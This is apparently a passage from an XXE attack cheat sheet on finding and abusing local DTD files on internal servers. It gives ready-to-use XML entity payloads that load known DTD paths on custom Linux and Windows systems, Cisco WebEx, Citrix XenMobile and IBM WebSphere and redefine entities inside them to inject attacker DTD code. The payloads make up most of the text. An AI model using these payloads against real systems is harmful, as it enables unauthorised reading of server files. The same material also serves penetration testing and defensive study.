find a dtd file on internal server

How can we find a local dtd file?

Nothing is easier than enumerating files and directories. Below are a few more examples of successful applications of this trick:
Custom Linux System

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Custom Windows System

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Thanks to @Mike_n1 from Positive Technologies for sharing this path of always-existing Windows DTD file.
Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;